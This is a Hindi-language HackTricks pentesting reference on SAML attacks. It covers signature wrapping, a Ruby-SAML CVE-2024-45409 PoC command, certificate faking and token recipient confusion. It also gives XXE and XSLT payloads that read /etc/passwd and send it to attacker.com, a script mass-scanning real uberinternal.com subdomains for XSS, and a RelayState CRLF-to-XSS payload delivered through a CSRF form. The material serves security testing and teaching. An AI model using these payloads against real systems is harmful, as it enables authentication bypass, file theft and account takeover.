SAML Attacks

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सदस्यता योजनाओं की जांच करें!

हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**

हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

उपकरण

SAMLExtractor: एक ऐसा उपकरण जो एक URL या URL की सूची ले सकता है और SAML consume URL प्रिंट करके वापस देता है।

XML में, XML के signed हिस्से को memory में सेव किया जाता है, फिर कुछ encoding/decoding किया जाता है और signature की जाँच की जाती है। आदर्श रूप में वह encoding/decoding डेटा को बदलना नहीं चाहिए, पर इस परिप्रेक्ष्य के आधार पर, जाँच किया जा रहा डेटा और मूल डेटा समान नहीं हो सकते।

उदाहरण के लिए, निम्नलिखित कोड देखें:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

REXML 3.2.4 या उससे पहले के संस्करण पर प्रोग्राम चलाने पर इसके बजाय निम्नलिखित आउटपुट प्राप्त होगा:

First child in original doc: Y
First child after round-trip: Z

यह ऊपर के प्रोग्राम से REXML द्वारा देखा गया मूल XML दस्तावेज़ है:

और यह वह है जिसे पार्सिंग और सीरियलाइज़ेशन के एक चक्र के बाद उसने देखा:

कमज़ोरी और इसे दुरुपयोग करने के तरीके के बारे में अधिक जानकारी के लिए:

XML Signature Wrapping Attacks

इन XML Signature Wrapping attacks (XSW) में, हमलावर उस कमजोरी का फायदा उठाते हैं जो तब उत्पन्न होती है जब XML दस्तावेज़ दो अलग चरणों में प्रोसेस किए जाते हैं: signature validation और function invocation। ये हमले XML दस्तावेज़ की संरचना में बदलाव करने से संबंधित होते हैं। विशिष्ट रूप से, हमला करने वाला ऐसे नकली तत्व injects forged elements करता है जो XML Signature की वैधता को प्रभावित नहीं करते। इस हेरफेर का उद्देश्य उन तत्वों के बीच असंगति पैदा करना है जिनका विश्लेषण application logic द्वारा किया जाता है और जिन्हें signature verification module द्वारा जांचा जाता है। परिणामस्वरूप, जबकि XML Signature तकनीकी रूप से मान्य रहता है और verification पास कर लेता है, application logic धोखाधड़ी वाले तत्वों को प्रोसेस कर लेता है। नतीजतन, हमलावर प्रभावी तरीके से XML Signature की integrity protection और origin authentication को बायपास कर लेता है, और बिना पकड़े जाए injection of arbitrary content करने में सक्षम हो जाता है।

निम्नलिखित हमले this blog post and this paper पर आधारित हैं। आगे का विवरण जानने के लिए उन्हें देखें।

XSW #1

रणनीति: A new root element containing the signature is added.
निहितार्थ: वैलिडेटर वास्तविक “Response -> Assertion -> Subject” और हमलावर के “evil new Response -> Assertion -> Subject” के बीच भ्रमित हो सकता है, जिससे डेटा इंटीग्रिटी से संबंधित समस्याएँ पैदा हो सकती हैं।

XSW #2

रणनीति: Difference from XSW #1: Utilizes a detached signature instead of an enveloping signature.
निहितार्थ: “evil” संरचना, जो XSW #1 के समान है, integrity check के बाद business logic को गुमराह करने का प्रयास करती है।

XSW #3

रणनीति: An evil Assertion is crafted at the same hierarchical level as the original assertion.
निहितार्थ: इस का उद्देश्य business logic को malicious data का उपयोग करने के लिए भ्रमित करना है।

XSW #4

रणनीति: Difference from XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
निहितार्थ: XSW #3 के समान लेकिन XML संरचना को और अधिक आक्रामक तरीके से बदलता है।

XSW #5

विशिष्ट पहलू: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
निहितार्थ: नकल की गई Assertion Signature को एनवेलप कर देती है, जिससे अपेक्षित दस्तावेज़ संरचना बदल जाती है।

XSW #6

रणनीति: Similar location insertion as XSW #4 and #5, but with a twist.
निहितार्थ: नकल की गई Assertion Signature को एनवेलप कर देती है, जो फिर मूल Assertion को एनवेलप करती है, एक nested धोखाभरा ढाँचा बनाते हुए।

XSW #7

रणनीति: An Extensions element is inserted with the copied Assertion as a child.
निहितार्थ: यह Extensions तत्व की कम प्रतिबंधात्मक स्कीमा का फायदा उठाता है ताकि schema validation countermeasures को बायपास किया जा सके, खासकर OpenSAML जैसी लाइब्रेरीज़ में।

XSW #8

रणनीति: Difference from XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
निहितार्थ: मूल Assertion कम प्रतिबंधात्मक तत्व का child बन जाती है, XSW #7 में उपयोग की गई संरचना का उल्टा।

Tool

आप Burp extension SAML Raider का उपयोग request को parse करने, किसी भी XSW attack को लागू करने, और उसे लॉन्च करने के लिए कर सकते हैं।

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: यदि Service Provider कमजोर Ruby-SAML (उदा. GitLab SAML SSO) का उपयोग करता है, तो कोई attacker जो any IdP-signed SAMLResponse प्राप्त कर सके, वह forge a new assertion करके मनमाने उपयोगकर्ताओं के रूप में authenticate कर सकता है।

उच्च-स्तरीय कार्यप्रवाह (signature-wrapping style bypass):

Capture a legitimate SAMLResponse in the SSO POST (Burp or browser devtools). आपको target SP के लिए किसी भी IdP-signed response की आवश्यकता होती है।
Decode the transport encoding to raw XML (typical order): URL decode → Base64 decode → raw inflate.
Use a PoC (for example, the Synacktiv script) to patch IDs/NameID/conditions and rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
Re-encode the patched XML (raw deflate → Base64 → URL encode) and replay it to the SAML callback endpoint. यदि सफल रहा, तो SP आपको चुने हुए उपयोगकर्ता के रूप में लॉग इन कर देता है।

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

यदि आप नहीं जानते कि XXE किस प्रकार के हमले हैं, तो कृपया निम्नलिखित पृष्ठ पढ़ें:

XXE - XEE - XML External Entity

SAML Responses are deflated and base64 encoded XML documents और XML External Entity (XXE) हमलों के प्रति संवेदनशील हो सकते हैं। SAML Response की XML संरचना में हेरफेर करके, हमलावर XXE कमजोरियों का दुरुपयोग करने का प्रयास कर सकते हैं। ऐसे आक्रमण की कल्पना इस प्रकार की जा सकती है:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

टूल्स

आप Burp extension SAML Raider का भी उपयोग SAML request से POC जनरेट करने के लिए कर सकते हैं ताकि संभावित XXE vulnerabilities और SAML vulnerabilities का परीक्षण किया जा सके।

यह टॉक भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML में XSLT

XSLT के बारे में अधिक जानकारी के लिए देखें:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) का उपयोग XML दस्तावेजों को HTML, JSON, या PDF जैसे विभिन्न फॉर्मैट में बदलने के लिए किया जा सकता है। यह जानना महत्वपूर्ण है कि XSLT transformations डिजिटल सिग्नेचर के सत्यापन से पहले किए जाते हैं। इसका मतलब है कि एक attack वैध signature के बिना भी सफल हो सकता है; self-signed या invalid signature आगे बढ़ने के लिए पर्याप्त है।

यहाँ आप इस प्रकार की vulnerabilities की जाँच के लिए एक POC पा सकते हैं; इस सेक्शन की शुरुआत में उल्लिखित hacktricks पेज पर आप payloads पा सकते हैं।

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

आप Burp extension SAML Raider का उपयोग SAML request से POC जनरेट करने के लिए कर सकते हैं ताकि संभावित XSLT vulnerabilities की जाँच की जा सके।

इस टॉक को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion SAML implementations के व्यवहार को देखता है जब Signature element मौजूद नहीं होता। यदि यह element गायब है, तो signature validation may not occur, जिससे यह vulnerable हो सकता है। आमतौर पर signature द्वारा verify किए जाने वाले contents को बदलकर इसे टेस्ट किया जा सकता है।

Tool

आप Burp extension SAML Raider का भी उपयोग कर सकते हैं। SAML Response को intercept करें और Remove Signatures पर क्लिक करें। ऐसा करने से all Signature elements हटा दिए जाते हैं।

Signatures हट जाने के बाद, request को target की ओर भेजने दें। यदि Signature Service द्वारा required नहीं है तो

Certificate Faking

Certificate Faking एक technique है यह जाँचने के लिए कि क्या Service Provider (SP) ठीक से verify करता है कि एक SAML Message trusted Identity Provider (IdP) द्वारा signed है। इसमें SAML Response या Assertion को sign करने के लिए एक *self-signed certificate का उपयोग शामिल है, जो SP और IdP के बीच trust validation प्रक्रिया का मूल्यांकन करने में मदद करता है।

How to Conduct Certificate Faking

निम्नलिखित चरण SAML Raider Burp extension का उपयोग करते हुए प्रक्रिया को दर्शाते हैं:

SAML Response को intercept करें।
यदि response में signature है, तो certificate को Send Certificate to SAML Raider Certs बटन का उपयोग करके SAML Raider Certs में भेजें।
SAML Raider Certificates टैब में, imported certificate को चुनें और original certificate का self-signed clone बनाने के लिए Save and Self-Sign पर क्लिक करें।
Burp’s Proxy में intercepted request पर वापस जाएँ। XML Signature dropdown से नया self-signed certificate चुनें।
मौजूदा किसी भी signature को Remove Signatures बटन से हटा दें।
नए certificate का उपयोग करके message या assertion को sign करने के लिए उपयुक्त रूप से (Re-)Sign Message या (Re-)Sign Assertion बटन का उपयोग करें।
Signed message को forward करें। सफल authentication इस बात का संकेत है कि SP आपके self-signed certificate द्वारा signed messages को स्वीकार करता है, जो SAML messages की validation प्रक्रिया में संभावित कमजोरियों को उजागर करता है।

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion और Service Provider Target Confusion यह जांचने से संबंधित हैं कि क्या Service Provider सही तरीके से response के intended recipient को validate करता है। मूल रूप से, यदि authentication response किसी दूसरे provider के लिए था तो Service Provider को उसे reject कर देना चाहिए। यहाँ महत्वपूर्ण element Recipient फील्ड है, जो SAML Response के SubjectConfirmationData element के भीतर मिलती है। यह फील्ड उस URL को निर्दिष्ट करती है जहाँ Assertion भेजना चाहिए। यदि वास्तविक recipient intended Service Provider से मेल नहीं खाता, तो Assertion को invalid माना जाना चाहिए।

How It Works

SAML Token Recipient Confusion (SAML-TRC) attack संभव होने के लिए कुछ शर्तें पूरी होनी चाहिए। सबसे पहले, Service Provider (जिसे SP-Legit कहा जाता है) पर एक valid account होना चाहिए। दूसरा, targeted Service Provider (SP-Target) को उसी Identity Provider से tokens स्वीकार करने चाहिए जो SP-Legit को सेवा देता है।

इन शर्तों के तहत attack प्रक्रिया सरल है। साझा Identity Provider के माध्यम से SP-Legit पर एक प्रमाणिक session शुरू किया जाता है। Identity Provider से SP-Legit के लिए आया SAML Response intercept किया जाता है। यह intercepted SAML Response, जो मूल रूप से SP-Legit के लिए था, फिर SP-Target की ओर भेज दिया जाता है। यदि SP-Target Assertion को स्वीकार कर लेता है, तो यह सफलता मानी जाती है और वही account name उपयोग करके SP-Legit के रिसोर्सेस तक पहुँच मिल जाती है।

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout functionality

मूल शोध को this link से एक्सेस किया जा सकता है।

डायरेक्टरी brute forcing के दौरान, एक logout page निम्न स्थान पर पाया गया:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

इस लिंक पर पहुँचने पर, निम्नलिखित पर पुनर्निर्देशन हुआ:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

यह पता चला कि base parameter एक URL स्वीकार करता है। इसे ध्यान में रखते हुए, URL को javascript:alert(123); से बदलकर XSS (Cross-Site Scripting) हमला करने का विचार आया।

Mass Exploitation

From this research:

The SAMLExtractor tool का उपयोग uberinternal.com के subdomains का विश्लेषण करने के लिए किया गया ताकि यह देखा जा सके कौन से डोमेन उसी लाइब्रेरी का उपयोग कर रहे हैं। इसके बाद, oidauth/prompt पेज को लक्ष्य करने के लिए एक स्क्रिप्ट विकसित की गई। यह स्क्रिप्ट XSS (Cross-Site Scripting) के लिए इनपुट डालकर और जांच कर टेस्ट करती है कि क्या वह आउटपुट में परावर्तित होता है। यदि इनपुट वास्तव में परावर्तित होता है, तो स्क्रिप्ट पेज को कमजोर (vulnerable) के रूप में चिह्नित कर देती है।

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

कुछ SAML SSO एंडपॉइंट्स RelayState को decode करते हैं और बिना sanitization के response में उसे reflect कर देते हैं। अगर आप newline inject करके response का Content-Type override कर सकें, तो आप browser को attacker-controlled HTML render करने पर मजबूर कर सकते हैं, जिससे reflected XSS हासिल होता है।

विचार: reflected RelayState में newline injection के जरिए response-splitting का दुरुपयोग करें। सामान्य नोट्स के लिए देखें CRLF injection.
यह तब भी काम करता है जब RelayState सर्वर-साइड पर base64-decode किया जाता है: ऐसा base64 दें जो header/body injection में decode हो।

Generalized steps:

एक header/body injection sequence बनाएं जो newline से शुरू हो, Content-Type को HTML से overwrite करे, फिर HTML/JS payload inject करे:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>

उस sequence को URL-encode करें (उदाहरण):

%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E

उस URL-encoded string को base64-encode करें और उसे RelayState में रखें।

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

एक syntactically valid SAMLResponse और crafted RelayState के साथ SSO endpoint पर POST भेजें (उदा., /cgi/logout)।
CSRF के जरिए deliver करें: एक पेज host करें जो दोनों fields शामिल करते हुए target origin पर auto-submit करने वाला cross-origin POST करे।

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF डिलीवरी पैटर्न:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

क्यों यह काम करता है: सर्वर RelayState को डिकोड करता है और उसे response में इस तरह सम्मिलित करता है कि newline injection संभव हो जाता है, जिससे attacker headers और body को प्रभावित कर सकता है। Content-Type: text/html जब ज़बरदस्ती सेट किया जाता है तो ब्राउज़र response body से attacker-controlled HTML को render कर देता है।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सदस्यता योजनाओं की जांच करें!

हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**

हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

HackTricks

SAML Attacks

बुनियादी जानकारी

उपकरण

XML round-trip

XML Signature Wrapping Attacks

XSW #1

XSW #2

XSW #3

XSW #4

XSW #5

XSW #6

XSW #7

XSW #8

Tool

Ruby-SAML signature verification bypass (CVE-2024-45409)

XXE

टूल्स

SAML में XSLT

Tool

XML Signature Exclusion

Tool

Certificate Faking

Certificate Faking

How to Conduct Certificate Faking

Token Recipient Confusion / Service Provider Target Confusion

How It Works

XSS in Logout functionality

Mass Exploitation

RelayState-based header/body injection to rXSS

संदर्भ